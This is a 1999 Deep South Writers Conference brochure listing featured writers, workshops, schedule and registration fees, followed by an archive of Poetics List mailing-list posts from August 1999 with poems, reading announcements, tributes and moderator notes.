TOI DERRICOTTE is the winner of the Folger Shakespeare Library Poetry Book Award, the Lucille Medwick Memorial Award, a Pushcart Prize, and the Distinguished Pioneering of the Arts Award from the United Black Artists, as well as two fellowships from the National Endowment for the Arts. Born in Detroit, she received her BA from Wayne State University, spent several years teaching mentally retarded and psychologically disturbed children in the Detroit public schools, and then moved to New York and received her masters degree in Literature and Creative Writing from NYU. For nearly twenty years she worked as a master teacher in the highly esteemed New Jersey Poets-in-the-Schools Program. Derricotte has published four books of poetry, Tender, Captivity, Natural Birth, and The Empress of the Death House, and has also published widely in award-winning journals such as American Poetry Review, Callaloo, The Iowa Review, and Ploughshares. Her lyrical, powerful poems often focus on racial tensions and violence in urban America. She describes her recently published memoir, The Black Notebooks: An Interior Journey, as an attempt to tell the truth about racial passing: "All my life I have passed invisibly into the white world. . . . I never told anyone I was white. I just didn’t tell them I was black. . . . To show myself in this unfavorable light is to say, ‘Let’s talk about the things that racism makes us do. Let’s talk about the imperfect choices it drives us to.’" Derricotte has taught creative writing at Old Dominion, George Mason, and the University of Pittsburgh. She is currently Visiting Professor of English at Xavier University.

JORDON PECILE, winner of the Governor Wilbur Cross Award for Outstanding Work in the Humanities for 1998, has been the head of English at the U. S. Coast Guard Academy in New London, Connecticut for ten years. His short stories about growing up as an Italian American in the coal mining region of northeastern Pennsylvania have been published in the Atlantic and other magazines, and he is collecting them into a book, Obsequious Sorrows, Unmanly Griefs. For PBS’s American Masters Series, he has written a documentary, "The Eye of Memory," about the rich, full life of Katherine Anne Porter, who as a young woman lived in Lafayette. His most recent work for television, "Eugene O'Neill's New London," won the Bronze Award in the 17th Telly Awards, 1996, and is shown regularly on Connecticut Public Television. He has been script consultant and literary advisor for television films about Eugene O'Neill and for the acclaimed series, "The American Short Story on Film." His work for radio includes the 90-minute program, "Wallace Stevens: Poet with the Blue Guitar," which won First Prize for Creative Use of the

Medium from the Information Film Producers of America, 1980. His other work for public radio includes adaptations of Kate Chopin's story, "Desiree's Baby," set in the countryside near Lafayette, of "The Open Boat," by Stephen Crane, and of some classic stories by the French writer Marguerite Yourcenar, presented as a 90-minute drama, "Four Women in Love," which he also directed.

New York’s Newsday hailed VIRGIL SUAREZ’S Latin Jazz as "[A] striking debut. A well crafted and sensitive novel. Suarez is marvelous." Kirkus Reviews hails Suarez as a leading spokesperson for his generation of Cuban Americans, admiring his writing as "an exploration of fundamental tensions in a community for whom Suarez is becoming an eloquent voice." Publishers Weekly sums it up best with their simple statement, "Suarez sparkles." He has published novels (Latin Jazz, The Cutter, Havana Thursdays, and Going Under), collections of stories and non-fiction (Welcome to the Oasis and Spared Angola: Memories from a Cuban-American Childhood), and poetry (Garabato Poems). Born in Havana in 1962, the only son of a sweatshop patterncutter and piecemeal seamstress, Suarez came to the United States twelve years later, and received an MFA in creative writing from LSU in 1987. His work explores the themes of immigration, identity, dislocation and acclimatization to life and culture in the United States. The tenuous ground between foreign and native, exile and acceptance, is the basis for numerous stories, translations, essays, and poems published in literary journals such as Ploughshares, Prarie Schooner, TriQuarterly, Colorado Review, American Literary Review, and The North American Review. An active book reviewer for The Los Angeles Times, The Miami Herald, The Philadelphia Inquirer, and the Tallahassee Democrat as well as editor of several best-selling anthologies of Latino/a literature, including Iguana Dreams: New Latino Fiction, Paper Dance: 55 Latino Poets, and Little Havana Blues, Suarez is now a professor of creative writing at Florida State University. He lives with his wife and daughters in Tallahassee.

SPECIAL FEATURE! LOUISIANA SONGWRITERS SHOWCASE

This year’s conference will open on Thursday night, September 23rd with the first ever Deep South Songwriters Night. We are pleased to present two of the finest songwriting talents this musically rich area has to offer, featured artists David Egan and Sam Broussard.

DAVID EGAN was born in Shreveport, LA, and studied jazz and composition at North Texas State University. He worked as pianist with A-Train, Joel Sonnier, Filé, and the Louisiana Hayride Band. As a songwriter his work has been covered by Joe Cocker, Percy Sledge, John Mayall, Mavis Staples, Johnny Adams, Irma Thomas, Marsha Ball, Tracy Nelson, and many more. He resides in

Lafayette, and tours with Filé. Egan’s recent work can be heard on Filé’s latest album, La Vie Marron.

SAM BROUSSARD has been a distinguished fixture of the Lafayette arts community for many years as poet, song-writer, and guitarist in a wide variety of musical contexts. He is currently working at home in Lafayette on two CDs, preparing for the performing songwriter circuit after winning two major songwriting competitions, the Wildflower Arts and Music Festival in Dallas and the Colorado Composers Classic. His songs have been recorded by Franco-Swiss rock star Stephan Eicher, and he has worked both with contemporary musicians in jazz and rock (including such artists as Jimmy Buffett, Michael Martin Murphy, and Zachary Richard) and with traditional Cajun and zydeco musicians.

We invite all writers and music enthusiasts alike to come out and meet these two talented artists. After performing their work, Egan and Broussard will talk about the way their local roots and culture affect their own music and the music of other songwriters they know. Then they’ll welcome questions from the audience.

PANELS

Once again this year, the Deep South Writers Conference will present panels designed to allow conference participants to express their concerns and interests as writers and scholars. While all details have not been concluded as of this date, we expect a variety of presentations on the place of the "local" in creative writing pedagogy, and in our writing in general. Once again, the USL Folklore Program will present a panel that will examine such local effects on the literary as "Boudreau and Thibodeau" jokes and the physical landscape of this region, with special attention to the relation between the New Roads area and the work of Ernest Gaines.

SPECIAL FEATURE: PANEL OF EDITORS

In addition, we have invited a group of literary editors from a variety of publishing organizations for an open and frank discussion of the ways in which the "local" affects their editorial strategies and decisions. The roster will include:

Chair: Skip Fox
Literary Journal: Jack Bedell (Louisiana Literature) and
William Lavender (New Orleans Review)
Daily Newspaper: Walter Pierce (The Daily Advertiser)
University Press: [We’re still working on this one.]

INTENSIVE WRITING WORKSHOPS

Once again Deep South will offer intensive writing workshops for conference participants, encouraging helpful response and fresh criticism on manuscripts in progress. Workshop registrants will critique their own work as well as the work of their peers under the guidance of experienced writers. Writers of all levels are encouraged to enroll. Participants receive copies of each others' manuscripts in advance with instructions on how to review and respond to them. Intensive writing workshops will be conducted by Toi Derricotte and Darrell Bourque in poetry, by Virgil Suarez and George Clark in short fiction, by Mary Cappello in non-fiction, and by USL professor Sylvia Iskander in children's fiction. And because of last year's extraordinary interest, we have doubled the number of Beginners Workshops in Fiction and Poetry, directed by graduate students of the USL Creative Writing Program. Finally, the Council for the Development of French in Louisiana will sponsor a workshop for poetry and fiction in French. Enrollment in the workshops is limited to twelve participants per workshop on a first-come basis, and involves a supplementary fee (see Registration form for details). If the demand for workshops exceeds expectations, additional workshops will be scheduled.

VERY IMPORTANT!! WRITERS WISHING TO ENROLL IN ONE OR MORE OF THESE WORKSHOPS SHOULD REGISTER AND SEND THEIR MANUSCRIPTS BY SEPTEMBER 15TH (WE MUST RECEIVE THEM BY THIS DATE IN ORDER TO MAKE COPIES FOR ALL PARTICIPANTS!) TO:

Dr. Jerry McGuire
Deep South Writers Conference
English Department, Box 44691
Lafayette, LA 70504-4691.

For poetry manuscripts, please submit 3 poems, typed. For prose manuscripts, submit up to 12 pages typed, double-spaced.

SPECIAL FEATURE! WORKSHOP BY SANDY LYNE
OF THE INNER WRITER PROGRAM: "SPIRIT OF PLACE"

Sandy Lyne has taught poetry writing to over 40,000 young people and several thousand classroom teachers. He is a frequent presenter of workshops to teachers nationwide through the John F. Kennedy Center for the Performing Arts. His collection of poems by young people, Ten-Second Rainshowers (Simon & Schuster), has been showcased twice on National Public Radio. A new collection, Soft Hay Will Catch You, will be coming out in the year 2000 (also from Simon & Schuster). His own poems have appeared in numerous journals, including The American Poetry review, The Virginia Quarterly Review, Poetry East, Ploughshares, and Louisiana Literature. His poems have also appeared in two anthologies of American poets, Quickly Aging Here (Doubleday) and Shake the Kaleidoscope (Simon & Schuster) and in two collections, The Invention of

Dragons and The Love of Simple Things. He lives in Lafayette. His workshop at Deep South will be valuable for anyone interested in making poetry available and fun for others. He will lead a discussion of ways to use the "spirit of place" to help students and children (and the adults in the workshop, too) improve their connection to the sources of their poems.

WRITERS CRAWLING EVER UPWARDS!!!!!

In response to great demand from last year's participants, the graduate students in the Creative Writing Concentration will once again host their open-microphone reading for all conference participants as a traveling caravan through selected venues in the Lafayette community. After Saturday night's reading by Virgil Suarez and Toi Derricotte, we'll tour the local arts/literary scene, giving open readings as we go. Last year we read at a coffee house, a restaurant, and an art gallery, and we expect another lively night of eating, drinking, and reading poetry and prose. As a special touch, we've asked three of the finest young performance poets in the state--Christian Champaigne from New Orleans, Clara Connell from Baton Rouge, and Bernard Pearce from Lafayette--to read their work and serve as emcees at our three venues.

THE DEEP SOUTH WRITERS CONFERENCE CONTEST RESULTS

As in years past, the winners of the Deep South Writers Conference Contest will be honored at a special ceremony preceding Friday night's reading by Mary Cappello and George Clark. The winning authors in the categories of Short Fiction, Young Adult Fiction, Children's Fiction, Novel, French Poetry, and French Prose will be announced, as will the winners of the Ethel Harvey Award (Nonfiction), the John Z. Bennett Award (Poetry), the Paul T. Nolan Award (One-Act Play), and the James H. Wilson Award (Full-Length Play). Winners, contenders, and future hopefuls are encouraged to attend the ceremonies. After the reading, we'll caravan to Judith Meriwether's house for refreshments.

SUNDAY BREAKFAST

Every year we try to arrange some events for Sunday Morning to open our eyes and send us home happy. This year we have two events--the panel of editors described above, and a special appearance by USL's distinguished Writer-in-Residence, Ernest Gaines, who will read from his fiction and answer questions about the place of the local in his extraordinary body of writing. We've been promised a breakfast of home-made cornbread, fig preserves, and Steen syrup, so be prepared.

CONFERENCE REGISTRATION: HOW TO BE A PART OF THE WEEKEND

There is a $40.00 registration for the conference which rises to $50.00 after September 15th. The Deep South Writers Conference is one of the most affordable writing conferences in the United States, due in large part to the

support received from sponsors, without whom a gathering of talent like this would not be possible. The program is supported by a grant from the Louisiana Division of the Arts, by a Partnership Award from the Acadiana Arts Council, and by the Department of English and the College of Liberal Arts at the University of Southwestern Louisiana. But the greatest measure of The Conference's success continues to be the enrollment of writers who wish to contribute to and benefit from such a gathering. Registration (see attached schedule and registration form) includes lectures, panel discussions, and special events. For more information, interested writers and artists may contact Jerry McGuire at [redacted], or by email at [redacted], or write to:

Deep South Writers Conference
English Department, Box 44691
University of Southwestern Louisiana
Lafayette, LA 70504-4691

And check out our website: http://www.usl.edu/Departments/English/ (when you get there, click on "Deep South Writers Conference").

LODGING AND ACCOMMODATIONS

We have arranged for several hotels to provide rooms at special conference rates. Please call one of the following, and be sure to tell them when making your reservation that you are attending the USL Deep South Writers Conference:

Comfort Inn, 1421 SE Evangeline Thruway ([redacted]); rates not established; call for information.

Ramada Inn, 120 E. Kaliste Saloom Rd. ([redacted]; ask for Tammy Hayes or Grant McCall); single or double occupancy $45; 3 or 4 occupants $55. Reserve by Sept. 20.

Travelodge, 1101 West Pinhook Rd. ([redacted]), call for rate. Reserve by Sept. 20.

We're looking forward to a great conference--please come join us!

DEEP SOUTH WRITERS CONFERENCE SCHEDULE OF EVENTS

(The following schedule may have to undergo minor adjustments as visiting artists and panelists finalize their travel arrangements.)

Thursday, September 23
7 pm Two Louisiana Song-Writers--Sam Broussard and David Egan
9 pm Q & A with Sam Broussard and David Egan--The Local in Song

Friday, September 24
1:30-2:30 Reading by Darrell Bourque and Burton Raffel

1:30-3:30 CODIFIL Workshop in French Poetry and Fiction
2:30-3:30 Fiction Workshop for Beginners
2:30-3:30 Poetry Workshop for Beginners
2:30-4:30 Workshop: Short Fiction--George Clark
2:30-4:30 Workshop: Poetry--Darrell Bourque
2:30-4:30 Workshop: Writing for Children--Sylvia Iskander
5-6 Reading: National Writing Project
6:30 Awards Ceremony for 1999 Deep South Writers Contest
7:00 Featured Readings--Mary Cappello and George Clark
8:30 Party at Judith Meriwether's house

Saturday, September 26

8-10 Hospitality and coffee, book signings by featured authors
9-10 Opening ceremonies
9:30-11 Craft Discussion (Cappello, Derricotte, Pecile, Suarez)—"Writing the Local"
10-11 Pedagogy Panel
10-12 Fiction Workshop for Beginners
10-12 Poetry Workshop for Beginners
10-12 Workshop: Adapting Stories for Film and Radio—Jordon Pecile
10-12 Workshop: Poetry with Toi Derricotte
10-12 Workshop: Short Fiction--Virgil Suarez
11-12 Panel: Open Topic

Noon: Lunch--"Caravans" to local restaurants

1:30-2:30 Fiction Reading-Jordon Pecile
2:30-4:30 Workshop: Creative Non-Fiction--Mary Cappello
2:30-4:30 Sandy Lyne Workshop in Teaching Creative Writing: "Spirit of Place"
3:30-4:30 Folklore Panel with Marcia Gaudet, John Lauden, and Laura Westbrook: "Louisiana: Between the Local and the Literary"
7 Featured Reading--Toi Derricotte and Virgil Suarez
9 Writers' Crawl/Open Mike--various locations to be announced

Sunday, September 27

9 Sunday Breakfast Special
9:15-10:45 What Do We Do with the Local? Panel of Editors
11-12 Reading and Discussion with Ernest Gaines
12 Closing Ceremonies

Cut Here *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#and Return

REGISTRATION AND FEES FOR THE
1999 DEEP SOUTH WRITERS CONFERENCE

Please fill out, detach, and mail form and check to the address below:

Name_____
Address_____
_____
_____
_____
_____
Telephone_____email_____

PRE-REGISTRATION AND REGISTRATION

Pre-Registration Fee.....$40.....
_____

Late Registration fee (After September 15).....$50.....
_____

USL Students with ID.....free.....
_____

Other Students with ID.....$25.....
_____
_____

WORKSHOP FEES ($40 FOR ONE WORKSHOP;
$20 FOR EACH ADDITIONAL WORKSHOP)

Please put an X beside the ones for which you wish to register. Workshops will be closed at 12 members.

Poetry Workshop-Toi Derricotte.....
Poetry Workshop-Darrell Bourque.....
Workshop in Teaching Poetry-Sandy Lyne: "Spirit of Place".....
Fiction Workshop-Virgil Suarez.....
Fiction Workshop-George Clark.....
Creative Non-Fiction-Mary Cappello.....
Workshop in Adapting Ficton to Film-Jordon Pecile.....
Children's Fiction Workshop-Sylvia Iskander.....
CODOFIL Workshop: Poetry and Fiction in French.....
Beginners Poetry Workshop with USL Graduate
Creative Writers-Friday ($20).....
Beginners Fiction Workshop with USL Graduate
Creative Writers Friday($20).....
Beginners Poetry Workshop with USL Graduate
Creative Writers-Saturday ($20).....

Beginners Fiction Workshop with USL Graduate
Creative Writers Saturday ($20).....

TOTAL: REGISTRATION PLUS WORKSHOP FEES_____

Please indicate which fees you are paying (by placing an X after the dotted line following the entry) and return this form with your check made payable to: DEEP SOUTH WRITERS CONFERENCE. Send form and check (please be sure to specify name of participant, if different from name on check) to this address:

Deep South Writers Conference
English Dept., Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691

Please call or email Jerry McGuire with any further questions:

telephone: [redacted]
email: [redacted]

The program is supported in part by a grant from the Louisiana Division of the Arts and by a Partnership Award from the Acadiana Arts Council, with funds provided by the City of Lafayette, the Lafayette Parish Council, and the National Endowment for the Arts

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_____

Jerry McGuire
Director of Creative Writing
English Department Box 44691
University of Southwestern Louisiana
Lafayette LA 70504-4691
[redacted]

_____

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246. Juliana Spahr
syllabus for Critical Writing Workshop
Fri 20 Aug 1999

Last year I asked for suggestions for works for a Critical Writing Workshop that I was teaching in the fall. And many people gave me great suggestions. Some of the suggestions I am using in the workshop. Some of them I'm not using, but enjoyed reading.

Just wanted to say thanks all now that I've done a version of the syllabus.

The syllabus is at http://www2.hawaii.edu/~spahr if anyone wants to see the results.

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247. Alan Sondheim

eve

Sat 21 Aug 1999

=--

eve

sometimes we'd speak late in the midwest afternoon when the sun shot like yellow foam, brittle and harsh, across the dying fields, he'd turn to me, it wasn't all that long ago, there were still those few dark specks in the sky, those broken stalks, those leaves, i remember, i'd be waiting ... sometimes there will be a whole damn text, he said, taking the cigarette out of his mouth for one last time in this godforsaken world, a whole damn text with noise elements scattered all through it like argonauts in that field, and there will be the slightest point in the world, here he looked up at the sun and sky falling on the baked-stone earth, crops withered and gone just like that another year, corn silk drab like radiation-hair, crashed out, there will be this slightest point, and all the noise pro- vides a framework for it, an exegesis so to speak, as if it were enough, as if it added to the point being made, there were thin black birds above/ beyond/just about everywhere, looking for the last seeds in the world, dust-devils in the distance, bird-throats parched and silent, uncanny isn't it, he said, the silence, then again, all the noise in the text, as i was saying, what would that be about, what would that point be then?, here he looked at me, waiting, and as I said nothing, he continued, well it's a requirement, sense of space, you could turn it around, god's signa- ture, so i'm told, he looked at me directly now, is everywhere, more in the noise than the silence i fill with my scrabblings, turned and saun- tered away as if that was all there was to it, nothing more to be said

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↑ Index

248. Daniel Carter

caught up in a muse-

Sun 22 Aug 1999

{ }

caught up in a museum many wanted out after having paid so much during and for years of instruction they now wanted out of such confining refining spaces

where vast reaches intervals real ether-bloaters physicality substrate defense and not even the way that notice aggravates both waves hello and halo such a small apartment three deck-hands swept overboard an invasion and some blood was spilt 'n' spelt this came as some snort of a relief in the midst of no signals zone challenge along night's highway being fed by sheroes and heroes who by example shower the waves madness gladness down in it and emerge porpoise-like joyously gasping desperately grasping too often a little ragged to wonderstate comes with the terrorstory along with the innumerable blissings try t' count'em oh yes to the magnetics here at work that stimulate give thanks in the millions but not there to end nor resolvingly mend at the door the shatterers hurtful beneficial views/praxis aswirl

--

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249. **Lynn Miller**

A note on "gibes" and "power-lusty"

Sun 22 Aug 1999

Pieces of a Great Design Future: soft identities for identification and cross-identification effects resocialized in a filter that takes up the lines of rupture between biographical reality and implications not clear in the (off-the-cuff) commentary. Let the sun shine in. The Talmudic aspect of Dodie's interaction asserting the commentary is open for interpretation right then and there with the impulse-energy of Pica's intervention in Drylongso ("Bitch, what the fuck are you talking about.") I am not sure of this (role) gender-switched, a Bitch, formerly "Bastard" (a speculative, or Zhenodtel, moment). My first instinct is to remember Rattray's comment on Crevel: "But when those working-class guys (Bellamy and her circle of young poets) showed up from the factory with their own script, he recognized he was in a world all his own, out of touch and full of shit." 'My' Steve Abbott is of course a narrow, ideological (even dogmatic) reading across SOUP 1-4 and the ACTS "Conversations with Aliens" (manifest double-consciousness immersed in the identity of the master) based basically on a hunch that if the Conversations were translated into Hungarian a reader from Budapest, for example, would hear Jozsef--a hunch based on a notion about moments of buried time and finding an originary home of a proletarian expressionism. This is why permission must be asked of Steve Abbott's community--one of the first to register the kicks and blows and even, fatality, in the increasingly crisis laden physical spaces we inhabit--to lift this author's name into a dedication to a book of poems rooted in conflict, class conflict, and yes, I've wandered around the web site, "a-paul-ed" as Mary Engle would say, by my being unable to find anything in the biographical materials remotely resembling what I needed to imagine might be there, something close to the

profound human squalor of my own child-home. What is the fulcrum between the imagined and the real? The Derrida passage on Chris Hani helped me out a lot on the 'martyrdom' schtick (that and the news that a local hate-group here was calling a killed vice-cop a Law and Order "Martyr"). Speaking out, Bellamy reminds me of my own impatience and anger at the editorial boundaries/frame of Moscow editions of Lenin, whose footnotes tend to convey an irreality similar to the shadows cast in the comment gratefully updated. A news update. Good news. News of poets reinterpreting the underground as a place where the sun really does shine AND NARRATIVE AND a message from Russia! Masha, the best I can respond in the interface between a historian's scholarship on Revlutionary Russia from the University of Akron and your first-person historical experience is to appeal to the question of translation, cultural translation, in which I find the Zhenodtel (a project Clements writes was abolished by Stalin in 1930) (though perhaps it survived in name but not in content) helpful for thinking about the problem of a 'school', even a school of so-called 'poetics,' where, really, there are schools in every city in the U.S. that ought to be observed by an international human rights organization. A passage like the following I also find useful for imagining alternative ways of living among each other: "The Zhenotdel's demise emerged from a similar transition in the Soviet Union. By the end of the 1920's, the party leadership had disavowed earlier proposals for free love, communal living, and collective childrearing, proposals that had always been dangerously unpopular with the Soviet people, particularly the peasants. Instead, the party endorsed premarital chastity and the pattern of a nuclear family bound together by love, respect, and fidelity between the spouses. This Soviet conceptualization of the family marked a compromise. It was not simply traditional, for the Russian traditional family had been extended rather than nuclear, and far more severely patriarchal. But neither did the new Soviet ideal go so far as Bolshevik feminists such as Kollontai and Inessa [Armand] had wanted. Repudiated were their notions of intimate life transformed to promote individual sexual and emotional fulfillment. Instead, official spokespeople--propagandists and party leaders--endorsed long-term monogamy and extolled its value to the proper care of children." (from "The oneset of the Stalin era," pp. 275). Your expression, "power-lusty," is one of those happy moments that occur in the passages between two languages. The concept that comes through is quite familiar in critiques of patriarchal (dominative) matrices, though as a counter-balance I keep the line "your my drives that do attend so well to lust & thought" close to considerations of 'overstepping' or 'dominating' in the performance of a strong identity in the labor of participating among others in the development of ever larger collective identities, and proposing with others alliances across essentialist constructions like gender and?

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250. Alan Sondheim
the adventure
Mon 23 Aug 1999

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the adventure

i walk the narrow defile with the valley to the right
the valley to the east, the valley to the south
enter the forest and there is the valley
it's the writing which comes and begs to be understood
the writing comes begging, asks you to keep it
oh keep it fondly this writing, kick it where it belongs
hurt this writing until it cries, give it a read now and then
it doesn't matter much what happens to it
as long as i believe it will be there and tended lovingly
and for now, and just what you might think forever would be
promise me anything, i won't hold you to it
i'll be gone, nothing more to be said, you can pretend, can't you
there's a stream gone down the valley, down into a slit
beyond, there's always beyond, dry bones of the valley floor
you can find a grating there, open it with your key
crawl along, look for the manuscripts stacking the walls
if you play adventure, you'll know what i mean
read them, they're mine, each and every one
they're precious as the daylight in this dim world
you can pretend you're reading at the very least
you'll find someone throwing a knife at you, DON'T THINK ABOUT ME
turn around quickly, back out of that place, your wits intact
there are others

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251. Dodie Bellamy
summer prose workshop reading
Mon 23 Aug 1999

I will be hosting a reading of my summer prose workshop:

September 1, Wednesday, 7:30 p.m.
New College Cultural Center
766 Valencia Street (between 18th and 19th)
Free

Readers:

Margaret Crane
Mark Ewert
Johanna Isaacson
Kevin Killian
Suzi Markham
Alvin Orloff
Michael Sasso
Joshua Schuster
Blaise Zerega

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252. R Democracy

BELLADONNA @ Bluestockings--Please pass along

Mon 23 Aug 1999

Announcing the first of a monthly series:

Poetry Reading:
Akilah Oliver (the she said dialogues, Smokehouse Press, 1999) and
Marcella Durand (City of Ports, Situations, 1999)
will inaugurate the BELLADONNA* Reading Series
at the Bluestockings Women's Bookstore at
172 Allen Street between Rivington and Stanton
on the Lower East Side of Manhattan on
Thursday, August 26 at 9:00 pm.
Contact [redacted] for info.

(There will be 15 minutes provided for open readers--all women but men are welcome as audience members).

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253. Poetics List Administration

Re: God Loves Fags

Mon 23 Aug 1999

F.Y.I. Patrick F. Durgin's post refers to an much-deserved hack of Benjamin Phelps' revolting "god hates fags" web site; you may remember seeing Phelps and his followers in the nat'l news when they showed up outside Matthew Shepard's funeral.

Kris Haight, operator of the pro-queer <www.godlovesfags.com>, was given control of the <www.godhatesfags.com> domain by an anonymous source, and used the opportunity to detourn Phelps' page by substituting his own, similarly

designed site. The domain has since been more or less returned to Phelps' control, though an intermediary page remains.

It's nice to see hackers can still do the right thing.

From the God Loves Fags site:

"What a strange ride it has been. We were gifted with ownership of Phelps's domain late
Wednesday, and here we sit, 72 hours later having given it back. While many of you
don't understand why the domain had to go back to Phelps, we felt it was in the best
interest of ourselves, our service provider, our provider's uplink as well as the gay rights
movement everywhere to give it back. Read our formal statement here."

for further information:
<http://www.godlovesfags.com> God Loves Fags
<http://www.2600.com> 2600: The Hacker Quarterly
<http://members.aol.com/dmode4life/> Memorial site for Matthew Shepard (one
of many)

Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

254. Kimmelman, Burt
Cid Corman
Mon 23 Aug 1999

John Phillips has written to me about Cid Corman and I asked that he give me permission to post a message to the list for him in Cid's behalf, which he did, as follows.

Burt Kimmelman

CID CORMAN'S PLIGHT

I am writing to make people aware of the plight of Cid Corman. His situation at the moment is precarious, to say the least. Doubtless it has always been so, but presently it appears to be nearing crisis point. Uncertainty even as to making it through the year.

I hope to reach poets / old time friends / academics/ readers / any one with a voice that can speak out - to see whether there is a way open to putting him forward for some kind of funding, grant or award.

A means for him to find the means to go on surviving.

It should hardly be necessary to make out a case as to the importance of the work he has done - for so many years - through ORIGIN & ORIGIN PRESS, publishing many of the seminal poets of the 20th Century - Creeley, Snyder, Olson, Bronk, Eigner - the list goes on - or to the value and brilliance of his own poems & translations.

And yet Cid has remained almost invisible, his whole life - wholeheartedly - dedicated to the poetry he believes life is.

However, invisibility - eventually - makes it hard to survive. And I have felt an undercurrent of worry from him recently - and - as always with Cid - his worry and concern comes out - perhaps first & foremost - for other poets he could be helping, opening the world up to, were he able.

Yet the priority - I feel - at this moment - must be his own survival and his own work.

This year, & finally, the 3rd vol. of OF - the summation of his life's work & a book like no other - ever - was published. But there are 2 more volumes that must still see the light of day. The only manuscripts of these are in his flimsy house in Kyoto. I don't think the world of poetry - of those who value poetry - and the human beings who create it - can rest easy knowing that such a major work is in so vulnerable a position.

Especially taking into account the fact that even Cid remaining housed in his rented accommodation is under some threat at the present time.

I hope - with enough support garnered - and with a volume of Cid's poetry coming out from NEW DIRECTIONS in the fall - that there's a chance of stirring up the necessary & vital funding. It could only be a question of getting momentum going - telling people he is still alive and writing a book a day!

At least - at last - a late recognition of his gift to poetry.

Surely enough folks being made aware of his plight would open eyes - hearts - pull up a few of the floorboards where the bundles of cash are hidden for worthy causes?

And I can think of few - if any - who have done as much for the world of poetry as Cid. Maybe now the world of poetry should come together to help him.

What do you reckon?

If you feel to make a response, perhaps giving hints as to places / people I could go to for help, please email me: " John Phillips"
<[redacted]>

*

Alternatively - & even tho my real hope is to raise awareness of his plight & gain access to some major funding - I realise there might be some reading this who feel to make a small contribution of aid - directly to Cid. If so, please contact me & I will gladly send you the necessary details.

John Phillips
([redacted])

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255. Poetics List Administration

a note on sending petitions

Mon 23 Aug 1999

Hi. Over the past month, numerous copies of the PBS/NPR funding petition have been sent to the list by various subscribers. Here is a very brief history lesson re this petition, taken from another list's archive <http://www.acu.edu/academics/music/archive/iawm.9707/0030.html>:

> *The NPR/PBS petition was once a misguided, yet earnest effort of some undergrads at the University of Northern Colorado at Greely. Due to poor planning on their part and naievete about "things Internet", it blew up and turned into a "monster", similar to other Internet hoaxes, such as "Good Times Virus," "Nieman-Marcus cookie recipe," [...] and many others--all bogus!*

Further information is available at the University of Northern Colorado website <http://www.unco.edu/petition.html>:

> In 1995 two well-meaning but misguided students at UNC started an email
> petition regarding pending legislation that would affect the funding for PBS
> and NPR. They didn't mean to open a can of worms, but they did. The
> petition is still circulating on the Internet and has taken on a life of its own.

In other words, while govt support of public media remains an issue, this petition is not the solution.

Now, while I think this list can and should be a place where petitions and information on matters political can be exchanged, I would urge subscribers to read carefully and do a little research before submitting any such thing to the list. Some guidelines might be:

does the petition or press release contain a date?
does it refer to other sources of information on the web or elsewhere?
what corroborating sources can *you* provide?
what is the *most current* status of the issue in question?

In general, I think it would be more effective to have posts written by subscribers to this list or direct acquaintances of same, and that summarize an issue, provide further resources and contact information (i.e., URLs, snail-mail and email addresses) for the parties involved. Another possibility might be to do a little research and "pen" a sample letter of protest which can be easily adapted by your fellow subscribers. Activism of any kind quite simply requires more work than any electronic petition would imply; the internet can be a good tool to facilitate such work, but doesn't ultimately replace sweat, tears, and song.

best, Chris

% Christopher W. Alexander
% poetics list moderator

↑ Index

256. Todd Baron /*/ ReMap Readers

Re: Charles Macaulay + LeLand Hickman!@

Mon 23 Aug 1999

Charles was a consumate actor--and Lee met him when Lee was studying theater in new york. Charles lent a wonderful ear to Temblor mag. and helped Lee maintain what in LA and elsewhere was a truly brilliant output. I'd like to add that anyone not familiar with lee's work--read it. Jawbone press a few years back published Lee Senior Falls to the Floor. I've rarely seen (in memory) a better reader and/or more noble editor than Lee.

Todd Baron
ReMap

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257. R M Daley

Re: oh my god: cut-ups / "homosexualization of the New Yorkavant-garde" -Reply

Mon 23 Aug 1999

On Wed, 18 Aug 1999, Jeffrey Jullich wrote:

> *Maria Damon, for one, seems to agree about Earl Jackson that a good connection between "the homosexualization of the New York*

> *avant-garde" and cut-ups can at least be argued. Are you saying there is no connection?*

yeah

>
>
> >>>3. not everyone has to have babies - some women don't have babies
> - some women who fuck with men don't have babies - some women
> who fuck with women don't have babies - some women who fuck men
> have babies and then give them away - . . .
>
> Gertrude Stein couldn't have said it better. (I did identify "the childless
> homosexual" as a fallacy.) True, all exhaustively true. But that's
> empiricism. I was speaking hypothetically.
>
oh

rd

↑ Index

258. **dbkk**
Re: Charles Macaulay
Tue 24 Aug 1999

When I first met Charles Macaulay he and Leland Hickman invited me to dinner when they lived in North Hollywood, and I went with Matias Viegener, and it was very late and dark and Charles answered the doorbell, and he looked so familiar I gave out an inadvertent, no not scream, but a low moan. Matias had the presence of mind to ask Charles for his autograph, having recognized him from TV. (Charles played on several episodes of Star Trek, he was Jaris in "Wolf in the Fold" and Landru in the "Return of the Archons" episode.") He wasn't a star, but because one had seen him so often on TV in sitcoms, soaps, whatever, one felt one knew him so intimately and so well--very different from meeting any other kind of stranger.

Of course he and Lee had the glamor of their close association with Raymond Burr, one of Hollywood's more mysterious figures, ever since I was a little boy watching Raymond Burr putting his wife in that trunk in "Rear Window" or prosecuting poor Montgomery Clift in "A Place in the Sun" before that.

Just last week I was trying to track him down to obtain permission for Timothy Liu to reprint some of Lee Hickman's poems for the new postwar gay male anthology planned by Talisman House Press. And then Lynda Claussen got on the case too (the Archive for New Poetry at UCSD controls the copyrights,

thank God, for Hickman's work) and she sadly reported that Charles was in the hospital and wasn't going to come out of it.

As Ron Silliman says, people do forget, it's only natural I suppose. We've got so much on our brains all the time just trying to make it from day to day. "Born of the sun they travelled a short while towards the sun,/ And left the vivid air signed with their honour."

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259. Poetics List Administration

Cid Corman / Mills

Tue 24 Aug 1999

Had to reformat this message. Please remember the stricture against HTML formatting on the Poetics List; it fouls the archive and sours the moderator. [a bit of levity.] Chris

--

From: "Mills, Billy" <[redacted]>
Date: Tue, 24 Aug 1999 12:42:01 +0100

Just read the message about Cid on yesterday's digest, and I wanted to add my own bit. This man should be an American national treasure. He is the most unselfish poet I've ever had the pleasure to deal with, and has done more for the poetry he loves than anyone alive. There must be some way for the richest nation on earth to keep him alive and housed. That's it.

Billy Mills

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260. Brian Stefans

And Try Again

Tue 24 Aug 1999

